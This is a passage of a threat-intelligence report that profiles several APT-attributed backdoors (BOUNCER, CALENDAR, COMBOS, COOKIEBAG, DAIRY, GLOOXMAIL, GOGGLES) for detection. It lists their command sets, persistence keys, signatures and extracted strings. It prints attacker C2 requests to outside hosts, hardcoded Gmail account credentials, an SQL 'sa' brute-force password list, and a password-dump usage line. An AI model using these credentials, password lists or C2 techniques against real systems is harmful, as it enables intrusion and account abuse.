ljcok
sjc
process-cmd-stopped
CS thread still active!
cmdsize%6d!#
FileThread error!
fileupload
Upload file ok!
create remote file error!
Download datasize %I64dbytes!
Reading remote file error!
%s\%d.bmp
NTDLL
NtQuerySystemInformation
RtlCompareUnicodeString
term
  HostName:
   Platform:  %4d   Version:  %d.%d
    Type:
 (PDC)
 (BDC)
 (SQL)
 (TRM)
 (NOV)
 (MFP)
 (PRI)
More entries available!!!
Total entries: %d
Entries enumerated: %d
A system error has occurred: %d
List domain server ok!
==================   Current Process   ==================
 %-8ld%-22s
%-16s\%s
%-16s
%d processes enumerated
ntdll.dll
SeDebugPrivilege
Can not stop-%d-!
Client process-%d-stoped!
AC_XSI_UtilGetCardStatus
AC_XSI_UtilGetReaderList
gscBsiUtilGetVersion
\acbsiprov.dll
```

BOUNCER – Malware Profile

BOUNCER will load an extracted DLL into memory, and then will call the DLL's dump export. The dump export is called with the parameters passed via the command line to the BOUNCER executable. The usage string is shown below in Figure 4. It requires at least two arguments, the IP and port to send the password dump information. It can accept at most five arguments, including a proxy IP, port and an x.509 key for SSL authentication.

```
ctfmon.exe <IP> <port> [proxyip] [proxyport] [key]
```

Figure 4: BOUNCER Usage Parameters

The malware enters a state machine that carries out the main features of the dump function. First, it attempts to establish a successful network connection. If the user supplied proxy information the malware creates an HTTP connection by sending an HTTP CONNECT request packet. The function sleeps between each attempt; the sleep interval may vary among samples (e.g., 5 seconds or 15 seconds). Upon successful connection, it validates the HTTP response is either "`HTTP/1.0 200`" or "`HTTP/1.1 200`". If proxy information was not supplied, a direct TCP connection is made.

After connecting, the client and server exchange shared secrets as a form of authentication. If the `[key]` option was supplied on the command line, it is sent before the client/server shared secret exchange. The client first sends a DWORD value (`0xAB8F0954`) and expects to receive back from the remote machine a DWORD value (`0xB897D76A`) as a simple form of authentication. If this transaction fails or the correct value is not received, the application exits.

The possible operations carried out in the state machine are shown in Table 6.

Function	Additional Description
Create processes	Start a thread that executes arbitrary shellcode
Create processes	Launch an arbitrary program using `WinExec`
Create/modify files	Delete an arbitrary file
Enumerate systems	Start a thread to collect SQL server information and brute force logins
Enumerate systems	Start a thread to collect server information in the current domain
Open listening port	Start a thread that binds to a port and receives arbitrary commands to run
Route network traffic	Forward packets destined for a certain host/port to a given host/port

Table 6: BOUNCER functionality

In some versions of the malware, data sent or received is XORed with `0x99`. In other versions, data is encrypted using standard Microsoft encryption libraries.

If the requested operation is to enumerate servers, a separate thread creates a file `gw.dat` that contains a list of the servers found in the current domain.

If the requested operation is to enumerate SQL servers, a separate thread enumerates information about any reachable SQL servers and stores it in a file `sql.dat`. The malware attempts to load a password dictionary from `sqlpass.dic` and tries login/password combinations. It writes the results of these login attempts to the `sql.dat` file.

Host-Based Signatures

- The malware contains an encrypted binary embedded in a resource named IDR_DATA0 of language Chinese (simplified, PRC).
- The malware may create %CURRENTDIRECTORY%\gw.dat
- The malware may create %CURRENTDIRIRECTORY%\sql.dat
- The malware attempts to load a text file, sqlpass.dic, from the current folder; this file would contain default administrator login/password combinations.
- The DLL decoded in memory has the following attributes:
  - PE header checksum of zero
  - Internal module name may be pnldr.dll or sslldr.dll
  - One export named dump

Network-Based Signatures

- Refer to Appendix F for known APT1-generated certificates used in conjunction with this malware.

Unique Strings – BOUNCER EXE, variant 1

```
*Qd9kdgba33*%Wkda0Qd3kvn$*&><(*&%$E#%$#1234asdgKNAg@!gy565dtfbasdg
dump
Can't load library from memory.
DATA
IDR_DATA%d
IDR_DATA0
```

Unique Strings – BOUNCER extracted DLL, variant 1

```
ssllar.dll
dump
cmd.exe
do_pivot: requested %d bytes but got %d (truncated header)
111 do_pivot: requested %d bytes but got %d (truncated header)
do_pivot(): invalid slotnum: %d (max is %d)
111 do_pivot(): invalid slotnum: %d (max is %d)
do_pivot(): connections[header.id].header.id=%d header.id=%d!BUG, please report!
do_pivot(): inconnsistent seq numbers connections[]..seq=%d header.seq=%d
Packet to be bounced too big/small: %d bytes
do_pivot: [2] requested %d bytes but got %d
do_pivot(): connections[ix].header.id=%d ix=%d! BUG, please report!
select
%s: %s
exit
POSIXLY_CORRECT
%s: option `%s' is ambiguous
%s: option `--%s' doesn't allow an argument
%s: option `%c%s' doesn't allow an argument
%s: option `%s' requires an argument
%s: unrecognized option `--%s'
%s: unrecognized option `%c%s'
%s: illegal option -- %c
%s: option requires an argument -- %c
sql.dat
sqlpass.dic
An access violation has occurred
[%d]%s  %s
  %d.%d
A system error has occurred: %d
error starting winsock..
```

```
   SQLSERVER %d.%d.%d
MSSQLSERVER
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:%s
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:NULL
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:SA
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:sa
123456
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:123456
password
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:password
abcd1234
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:abcd1234
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:sql
manager
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:manager
core
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:core
root
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:root
```

```
1q2w3e
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:1q2w3e
qwe123
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:qwe123
sa123
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:sa123
oracle
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:oracle
sqlsever
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:sqlserver
p@ssw0rd
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:p@ssw0rd
1q2w3e4r
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:1q2w3e4r
qwer1234
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:qwer1234
1234
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:1234
pass
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:pass
windows
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:windows
system
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:system
admin
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:admin
super
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:super
test
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:test
12345678
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:12345678
qwerty
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:qwerty
qwertyuiop
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:qwertyuiop
1qaz2wsx
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:1qaz2wsx
pass1234
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
sa:pass1234
123456789
;PWD=
;UID=
DRIVER={SQL Server};SERVER=
%s%s%s%d%s%s%s%s
a:123456789
```

```
28000
SMBr
PC NETWORK PROGRAM 1.0
LANMAN1.0
Windows for Workgroups 3.1a
LM1.2X002
LANMAN2.1
NT LM 0.12
SMBs
NTLMSSP
gw.dat
*************%s***************
An access violation has occurred
[%d]%s
  %s
  127.0.0.1
  %d.%d
 (PDC)
 (BDC)
 (SQLSRVER)
 (Terminal Server)
  %s
More entries available!!!
Total entries: %d
Computer Numbers: %d
A system error has occurred: %d
CONNECT %s:%i HTTP/1.0
Proxy-Connection: keep-alive
HTTP/1.0 200
HTTP/1.0 200
HTTP/1.0 200
HTTP/1.1 200
HTTP/1.1 200
========================welcome========================
Exit OK!
-P requires -R and -r
usage:%s   IP  port [proxip] [port] [key]
inet_addr
%s: %s
CONNECT %s:%i HTTP/1.0
Proxy-Connection: keep-alive
HTTP/1.0 200
HTTP/1.0 200
HTTP/1.0 200
HTTP/1.1 200
HTTP/1.1 200
wrap_and_forward_data(): failed to send %d of %d bytes via control channel (slot=%d)
new_connection_to_bounce(): slotnum %d (seq: %d) is already taken
new_connection_to_bounce(): THIS IS A BUG PLEASE REPORT
listen_socket(): %d invalid proto
bon_send(): BUG, please report!: reqested %d bytes to be sent, only %d were sent
%d > %d, BUG, please report!
BUG, please report. seq=%d curseq=%d no if statements matched
sock_is_ready(): invalid socket! BUG, please report!
sock_is_ready(): select() failed!
666666666666666666666666666666666666666666666666\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\
\\\\\\\\\\
LanmanServer
LanmanWorkstation
t\\%s
Windows 2000 2195
Windows 2000 5.0
Usage: %s
```

```
Usage: %s [ServerName]
\\%s
```

Unique Strings – BOUNCER EXE, variant 2

```
Mode must be 0(encrypt) or 1(decrypt).
asdfqwe123cxz
dump
loadlibrary kernel32 error %d
```

Unique Strings – BOUNCER extracted DLL, variant 2

```
KQPl
127.0.0.1
cmd.exe
%s: %s
select
do_pivot(): connections[ix].header.id=%d ix=%d! BUG, please report!
do_pivot: [2] requested %d bytes but got %d
Packet to be bounced too big/small: %d bytes
do_pivot(): inconnsistent seq numbers connections[]..seq=%d header.seq=%d
do_pivot(): connections[header.id].header.id=%d header.id=%d!BUG, please report!
FILE DOWNLOAD Finished !
FILE UPLOAD Finished !
Download File %s error=%d
Can not open the the file %s error=%d
111 do_pivot(): invalid slotnum: %d (max is %d)
do_pivot(): invalid slotnum: %d (max is %d)
111 do_pivot: requested %d bytes but got %d (truncated header)
do_pivot: requested %d bytes but got %d (truncated header)
exit
An access violation has occurred
  %d.%d
[%d]%s  %s
A system error has occurred: %d
sqlpass.dic
sql.dat
error starting winsock..
   SQLSERVER %d.%d.%d
MSSQLSERVER
sa:123456789
123456789
sa:pass1234
pass1234
sa:1qaz2wsx
1qaz2wsx
sa:qwertyuiop
qwertyuiop
sa:qwerty
qwerty
sa:12345678
12345678
sa:test
test
sa:super
super
sa:admin
admin
sa:system
system
sa:windows
windows
```

```
sa:pass
pass
sa:1234
1234
sa:qwer1234
qwer1234
sa:1q2w3e4r
1q2w3e4r
sa:p@ssw0rd
p@ssw0rd
sa:sqlserver
sqlsever
sa:oracle
oracle
sa:sa123
sa123
sa:qwe123
qwe123
sa:1q2w3e
1q2w3e
sa:root
root
sa:core
core
sa:manager
manager
sa:sql
sa:abcd1234
abcd1234
sa:password
password
sa:123456
123456
sa:sa
sa:SA
sa:NULL
sa:%s
DRIVER={SQL Server};SERVER=
;UID=
;PWD=
%s%s%s%d%s%s%s%s
28000
SMBr
PC NETWORK PROGRAM 1.0
LANMAN1.0
Windows for Workgroups 3.1a
LM1.2X002
LANMAN2.1
NT LM 0.12
SMBs
NTLMSSP
Computer Numbers: %d
  %s
 (Terminal Server)
 (SQLSERVER)
 (BDC)
 (PDC)
  %s
[%d]%s
*************%s***************
gw.dat
  %ws
[-] socket failed
```

```
========================welcome========================
Exit OK!
ssl_server_ip %s:%d
-P requires -R and -r
InitSecurityInterfaceA
Secur32.dll
Microsoft Unified Security Protocol Provider
usage:%s   IP  port [proxip] [port] [key]
HTTP/1.1 200
HTTP/1.0 200
CONNECT %s:%i HTTP/1.0
Proxy-Connection: keep-alive
do_http_connect2 error
client handshake error
init ssl error
auth_rec failed
connect to failed
wrap_and_forward_data(): failed to send %d of %d bytes via control channel (slot=%d)
new_connection_to_bounce(): THIS IS A BUG PLEASE REPORT
new_connection_to_bounce(): slotnum %d (seq: %d) is already taken
bon_send(): BUG, please report!: reqested %d bytes to be sent, only %d were sent
sock_is_ready(): select() failed!
sock_is_ready(): invalid socket! BUG, please report!
\\%s
Windows 2000 2195
Windows 2000 5.0
```

CALENDAR – Malware Profile

CALENDAR uses Google Calendar to retrieve commands and send results. It retrieves event feeds associated with Google Calendar, where each event contains commands from the attacker for the malware to perform. Results are posted back to the event feed. The malware authenticates with Google using the email address and passwords in Table 7. The malware uses the deprecated `ClientLogin` authentication API from Google.

Account Name	Password
joperes51@gmail.com	=-0987654321`
esritechno@gmail.com	61398wwmm520
hello.buckingham@gmail.com	1qaz@WSX3ed
tomthomas.mcmahon@gmail.com	12345trewq!

Table 7: Observed CALENDAR Credentials

A sample initial HTTP POST is shown in Figure 5, although in practice this traffic is SSL encrypted when sent on the network. The malware appears to be statically linked with the TinyXML C++ library for XML manipulations.

```
POST /accounts/ClientLogin HTTP/1.1
UA-CPU: x86
Accept:
text/html;q=0.9,text/plain;q=0.8,application/xhtml+xml;q=0.7,image/gif;q=0.5,*/*;q=0.1
Accept-Language: en-us
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR
2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
Host: www.google.com
Content-Length: 109
Connection: Keep-Alive
Pragma: no-cache

accountType=GOOGLE&Email=joperes51@gmail.com&Passwd==-
0987654321`&service=cl&source=1sters-GoogleApiBook-1.00
```

Figure 5: CALENDAR Authentication Request

The retrieved calendar events contain commands and parameters for the malware to process. These commands are shown in Table 8.

Function	Command	Description
Interactive command shell	cmd	Run a cmd.exe child process, passing in the given string as the command to execute.
Download and execute file	downrun	Decode the attached content to the calendar event, write it out to a local file, and execute it.
Exit	exit	Exit the program.
Create processes	run	Execute the specified file on the local system.
Set sleep interval	sleep	Sleep the specified number of minutes.

Table 8: CALENDAR functionality

Persistence Mechanism

- The malware is registered as a service DLL, and is added to the following registry key for persistence:

    - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<ServiceName>\Parameters\ServiceDll
- The original ServiceDll value is saved to:
    - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\<ServiceName>\Parameters\ServiceDllOld

Host-Based Signatures

- The malware creates the following named mutex:
    - AFX_Ideas_H__5B5F33E8_2175_4C23_BB38_A334CADD6B78

Network-Based Signatures

- The malware uses the following HTTP User Agent string:
    - Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)

Unique Strings

```
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Start
ServiceDll
ServiceDllOld
SYSTEM\CurrentControlSet\Services\%s
SYSTEM\CurrentControlSet\Services\%s\Parameters
ServiceMain
content
title
entry
feed
Command not found
Down success
DownRun success
File
Can not create file
downrun
quit success
exit
Cmd success
Cmd fail
cmd /c
Create pipe fail
I do not know what happened
Run success
Path not found
File not found
System memory is not enough
Illegal file
sleep success
Time error
sleep
command
GoogleLogin auth=
Auth
source
1sters-GoogleApiBook-1.00
service
Passwd
Email
%s@gmail.com
```

```
accountType
GOOGLE
Content-type
application/x-www-form-urlencoded
Accept-Language
en-us
Accept
text/html;q=0.9,text/plain;q=0.8,application/xhtml+xml;q=0.7,image/gif;q=0.5,*/*;q=0.1
UA-CPU
POST
/accounts/ClientLogin
www.google.com
Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727;
.NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)
gsessionid=
gsessionid
Authorization
%40gmail.com/private/full
/calendar/feeds/
</content>
</entry>
</title>
  <content type="text">
<?xml version="1.0" encoding="utf-8" ?>
<entry xmlns="http://www.w3.org/2005/Atom"
xmlns:gd="http://schemas.google.com/g/2005">
  <category scheme="http://schemas.google.com/g/2005#kind"
term="http://schemas.google.com/g/2005#event">
  </category><title type="text">
application/atom+xml; charset=UTF-8
GData-Version
%s&%s&%s
%4d-%2d-%2d %2d:%2d:%2d
log command
W4qKihsb+So=
PoqKigY7ggH+VcnqnTcmhFCo9w==
8oqKiqb5880/uJLzAsY=
AFX_Ideas_H__5B5F33E8_2175_4C23_BB38_A334CADD6B78
HTTP/1.1
%s: %s
<!--%s-->
```

COMBOS – Malware Profile

The COMBOS backdoor processes the following set of commands transmitted over HTTP in communication with its C2 server:

Function	Command	Description
Kill processes	`exit`	Terminates reverse shell cmd.exe process
Set sleep interval	`Delay`	Continues to await commands
Sleep	`Sleep`	Sleeps
File download	`PutFile`	Downloads a file from the C2 and writes to local file
File upload	`GetFile`	Reads file from local system
Establish connection	`010101101010`	Beacons with IP address and hostname
File upload/download	`020202202020`	Starts file transfer
Interactive command shell	`030303303030`	Launches reverse shell
File upload	`040404404040`	Buffer of file contents transmitted
	`050505505050`	Command complete
Set sleep interval	`060606606060`	Sleep 10 seconds
Exit	`070707707070`	Terminate the COMBOS thread

Table 9: COMBOS functionality

COMBOS sends a beacon from the compromised host containing the IP address and hostname in the following format:

```
0101010110101010(<IP>:<HOSTNAME>)
```

Figure 6: COMBOS Beacon

The malware may decrypt stored Internet Explorer credentials from the local compromised system and transmit the credentials out of the network.

Host-Based Signatures

- The malware's export directory may have the name `mypw.dll`.
- The malware creates an event named deYT$6#
- The malware may print the following Unicode string to `stdout` if the malware receives an unexpected response or transmission that does not qualify with its application protocol.
    - `Not Comming From Our Server`

Network-Based Signatures

- The malware requests a URI `/showthread.php?t=<random_number>` where the `<random_number>` is between 0 and RAND_MAX on the compromised system.
- The following ASCII strings may appear in HTTP traffic as protocol for the malware to communicate with its C2:
    - `040404404040`
    - `070707707070`
- The malware uses the following HTTP User-Agents:
    - `Mozilla4.0 (compatible; MSIE 7.0; Win32)`
    - `Mozilla5.1 (compatible; MSIE 8.0; Win32)`

- The following Unicode strings may appear in HTTP traffic as protocol for the malware to communicate with its C2. Please see the table “Backdoor commands accepted” in the Details section for more information:
    - 010101101010
    - 020202202020
    - 030303303030
    - 040404404040
    - 050505505050
    - 060606606060
- Reference Appendix F for known APT1-generated certificates used in conjunction with this malware.

Unique Strings - ASCII

```
Mode must be 0(encrypt) or 1(decrypt).
Wkda0Qd3kv12
deYT$6#
Init
loadlibrary kernel32 error %d
abe2869f-9b47-4cd9-a358-c22904dba7f7
Init
128.128.128.128.128.128:8080
8.8.4.4
127.0.0.1:8080
/showthread.php?t=
5e7e8100
Mozilla4.0 (compatible; MSIE 7.0; Win32)
Mozilla5.1 (compatible; MSIE 8.0; Win32)
\cmd.exe
Delay
Getfile
Putfile
file://
clientdll.dll
Content-Length: %d
https://%s
```

Unique Strings - Unicode

```
040404404040
020202202020
050505505050
---[ Virtual Shell]---
Not Comming From Our Server %s.
030303303030
060606606060
010101101010
```

COOKIEBAG – Malware Profile

COOKIEBAG is an HTTP based backdoor which sends data to the C2 server as single-byte XOR and Base64 encoded strings in the HTTP `Cookie` header. The malware XOR's the data with `0x6B` and Base64 encodes the result before sending it over the network in the HTTP header. An example HTTP GET request is shown in Figure 7, and the decoded string is shown in Figure 8, where the decoded string includes the command request, the `clientkey` (which is a decimal value selected at program startup), and the compromised host's name.

```
GET /1799.asp HTTP/1.1
Accept: */*
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: usnftc.org
Connection: Keep-Alive
Cookie: CAQGBgoFD1YaHA4ZH1AIBwIOBR8ADhJWWV5bX1ADBBgfBQoGDlYmKic8KjkuIz4lPy45UA==
```

Figure 7: COOKIEBAG HTTP GET request

```
'command=qwert;clientkey=2504;hostname=MALWAREHUNTER;'
```

Figure 8: Decoded Cookie String

The malware reads the `Set-Cookie` HTTP header of the response, which is Base64 and single-byte XOR decoded. The malware expects this decoded data to begin with the string `command=<CMD>;` followed by additional ';' delimited key-value pairs of arguments to the command. The `<CMD>` string can be one of the commands shown in Table 10.

Function	Command	Description
Create processes	`cmd`	Sends the given line to the `cmd.exe` child process to run.
File upload	`download`	Expects the argument `content=`. Uploads the specified file as a series of HTTP POST requests.
Exit	`quit` or `exit`	Exits the program.
Set sleep interval	`Sleep`	Sleeps the specified number of minutes.
Download file [from specified URL]	`upfile`	Expects a `savepath=` and `reqpath=` arguments. Downloads the given URL to the specified local file.

Table 10: COOKIEBAG functionality

Responses to commands are sent to the C2 server as a series of HTTP POST commands. The Cookie HTTP Header contains the encoded host identification string. The HTTP body contains the `postvalue=` string followed by the Base64 response. A sample HTTP POST is shown in Figure 9.

```
POST /31.asp HTTP/1.1
Accept: */*
Content-Length: 62
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
Host: usnftc.org
Connection: Keep-Alive
Cache-Control: no-cache
Cookie: CAQGBgoFD1YsDh8oBAYGCgUPUAgHAg4FHwAOElZaXFJYUAMEGB8FCgYOViYKBxwKGQ4jHgUfDhlQ

postvalue=TWljcm9zb2Z0IFdpbmRvd3MgWFAgW1ZlcnNpb24gNS4xLjI2MDBd
```

Figure 9: COOKIEBAG HTTP POST

Persistence Mechanism

- The malware maintains persistence by adding itself to the following keys:
  - `HKEY_CURRENT_USER\Software\Microsoft\Windows NT\CurrentVersion\Windows\load`

Network-Based Signatures

- In beacon requests the Cookie HTTP header always starts with `CAQGBgoFD1Y`
- Variants have been observed with the following User Agents:
  - `Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)`
  - `Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)`

Unique Strings

```
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
DDDDD
sleep:
exit
quit
content=
download
reqpath=
savepath=
upfile
command=
Set-Cookie:
Reqfile not exist!
 upfile over!
no file!
download file failure!
 download over!
&FILECONTENT=
FILENAME=
 start Cmd Failure!
CreatePipe(echo) failed!!!
CreatePipe(cmd) failed!!!
YzpcXHdpbmRvd3NcXHN5c3RlbTMyXFxjbWQuZXhl
Notepad.exe
Y21kLmV4ZQ==
path
Hello World!
Location:
Content-Length:
charset=
C:\unknow.zip
Content-Length
Set Proxy Failure!
hostname
clientkey
command
GetCommand
.asp
reqfilepath
reqfile
?ID=
postvalue
```

```
postdata
POST
bpostfile
BMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)
</html>
<html>
utf-8
```

DAIRY – Malware Profile

DAIRY starts by copying `cmd.exe` to `Updatasched.exe` in the %TEMP% directory. It will then launch `Updatasched.exe` with its `STDIN` and `STDOUT` pipes tied to the malware. Next, the malware provides itself network access. It reads the registry for the Internet Explorer proxy settings and adds itself to the firewall list if it is in use on the local machine via adding to the registry key: `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List`.

Function	Command	Description
Kill processes	`pkkill <ID>`	Terminate a process using <ID>.
List processes	`pklist`	Perform an extensive process listing.
Download file [from specified URL]	`<URL>`	Download the file located at <URL> to the temporary directory.
Exit	`exit`	Turn off the backdoor.

Table 11: DAIRY functionality

The malware can be instructed to download a file. This happens when the command is a URL. This file will be obtained with an HTTP GET request. The HTTP User Agent used to get this page is consistently "`Mozilla/4.0 (compatible; MSIE 7.0;)`". All files are downloaded to the %TEMP% directory.

The malware will shut down upon receiving the exit command or if it is unsuccessful at setting up the reverse shell.

Host-Based Signatures

- The malware may set the following Registry key:
  - `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List`
  - Value: `<malware path>:*:Enabled:Microsoft Online Update`
- The malware copies cmd.exe to `Updatasched.exe` in the Windows %TEMP% directory.

Network-Based Signatures

- The malware uses the HTTP User Agent string "`Mozilla/4.0 (compatible; MSIE 6.0; WindowsNT 5.2;.NET CLR 1.1.4322)`".
- The malware uses the HTTP User Agent string "`Mozilla/4.0 (compatible; MSIE 7.0;)`" when downloading files.

Unique Strings

```
Mandary
default.htm
proxy
InitSecurityInterfaceA
Secur32.dll
Security.dll
FTP
GOPHER
HTTP
HTTPS
SOCKS
InternetQueryOptionA
Wininet.dll
```

```
Success.
Open
 > nul
/c del
COMSPEC
%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c
Mozilla/4.0 (compatible; MSIE 7.0;)
InternetReadFile
InternetCloseHandle
InternetOpenUrlA
InternetOpenA
%PDF-1 4
%PDF-1 3
%PDF-1 2
%PDF-1
Proxy-Connection: Keep-Alive
Pragma: no-cache
Content-Length: 0
Host:
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; WindowsNT 5.2;.NET CLR 1.1.4322)
 HTTP/1.0
CONNECT
exe
Net
Microsoft Unified Security Protocol Provider
**** Error %d reading data from server
1.3.6.1.5.5.7.3.2
cmd.exe
KilFail
KilSucc
dir %temp%\*.exe
http://
pkkill
pklist
exit
```

GLOOXMAIL – Malware Profile

GLOOXMAIL communicates with Google's Jabber/XMPP servers and authenticates with a hard-coded username and password. The malware makes extensive use of the open source gloox library (`http://camaya.net/gloox/`, version `0.9.9.12`) to communicate using the Jabber/XMPP protocol. Hard-coded authentication information is stored as obfuscated strings:

Account Name	Password
gale.rosside@gmail.com	16897168
paulesmith20132@gmail.com	1qaz@#WE

Table 12: GLOOXMAIL Observed Credentials

This authentication data will be used to attempt to initiate communication with the XMPP server. The malware does not specify a server to use to communicate with, so the code uses gloox's default behavior of querying SRV DNS records for the domain provided with the username. Since the malware's username domain is gmail.com, the malware will make DNS requests to `_xmpp-client._tcp.gmail.com` and expects to receive hostname and ports for the XMPP server to use. Google's XMPP implementation forces use of TLS encryption, so all communications between the malware and the XMPP server will be encrypted. In addition the malware has its own custom encoding/encryption that is applied to all messages. Incoming messages sent to the user that the malware authenticated as are decoded and interpreted by the malware.

Function	Description
Create/kill/list processes	Send a process listing, kill a process by name or PID.
File upload/download	
Gather system information	Information includes hostname, IP address, OS version, and the static string "0.0.1" which may be a malware version string.
Interactive shell session	Start a cmd.exe child process. Arbitrary commands can be sent from a remote host to the malware to execute.
Set sleep interval	

Table 13: GLOOXMAIL functionality

Network-Based Signatures

- The malware will make DNS requests of `_xmpp-client._tcp.gmail.com` to determine Google's XMPP servers to use. Note: this is legitimate behavior for software.

Unique Strings

```
ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
9oqKinumuT/7paaE8zKWG7SiUX4Beh8KP5joRA==
9oqKipes2AH+CPeP3dWK
Windows
messageTest
client
/path/to/cacert.crt
default
%d.%d
0.0.1
Kill process success!
Kill process failed!
Sleep success!
\cmd.exe
Create cmd shell success
Create cmd shell failed with err code:%d
Exit cmd shell
```

```
exit
File already exists!Upload file smaller than the existing file~
Can not create file!
Remote file size is less than the local file size has been!
File does not exist or is unreadable!
Getfile Abrot!
based on gloox
, connecting...
This is gloox
0.9.9.12
-%d    %-24s
%s\%s
NtQuerySystemInformation
ntdll.dll
c:\code\glooxtest\Release\glooxtest.pdb
```

GOGGLES – Malware Profile

GOGGLES will periodically request a pre-configured URL, which contains encoded commands to either sleep or download and execute another URL.

The GOGGLES downloader makes extensive use of data encoding and encapsulation to obscure network traffic. GOGGLES is designed to request a URL that is stored encoded in its resource section and then extract and decode a second URL from the data returned from the server.

The first HTTP GET request's User-Agent string will include the encoded name of the local system. Below is an example of the first HTTP GET request:

```
GET /sll/monica.jpg HTTP/1.1
User-Agent: Mozilla/4.0 (compatible; Windows NT 5.1; MSIE 7.0; Trident/4.0;
=1j2CVh2s#IE6DBo6Iru; MNA)
Host: www.avvmail.com
Cache-Control: no-cache
```

Figure 10: Initial HTTP GET request

The data returned by the server from the initial HTTP GET request is stored to the %TEMP% directory under the same name as the requested file. Six bytes from the end of the file is a four-byte offset value specifying the offset within the file that the encoded data starts. All data from this offset (to six bytes from the end of file) is considered to be part of the encoded data.

Name	Length	Functionality
Ignored data	variable	Data is ignored
Magic	4-bytes	Magic value 0xBCB702FF (offset dictated by "data offset")
Encoded data	variable	Encoded string (see Figure 1) length is (filesize – data_offset – 10)
Data offset	4-bytes	Offset to start of magic ([EOF-6] is offset to value)

Table 14: GOGGLES download file format

The decoded data is a command where the first character dictates the purpose of the rest of the string. Below are the supported commands:

Function	Command	Description
Set sleep interval	s	Sleep the specified number of minutes
File download / Create processes	r	Download and execute the specified URL

Table 15: GOGGLES functionality

Persistence Mechanism

- When installed as a service, the malware creates the following Registry configuration for the dlserver service:
  - HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\dlserver\ImagePath
  - Value: "<malware_path>\dlservers.exe" -startsvc

Host-Based Signatures

- The malware creates a URL download cache entry in the user's Temporary Internet File cache, detailing the payload retrieved.

Network-Based Signatures

- The malware uses a HTTP User-Agent string of the following format:
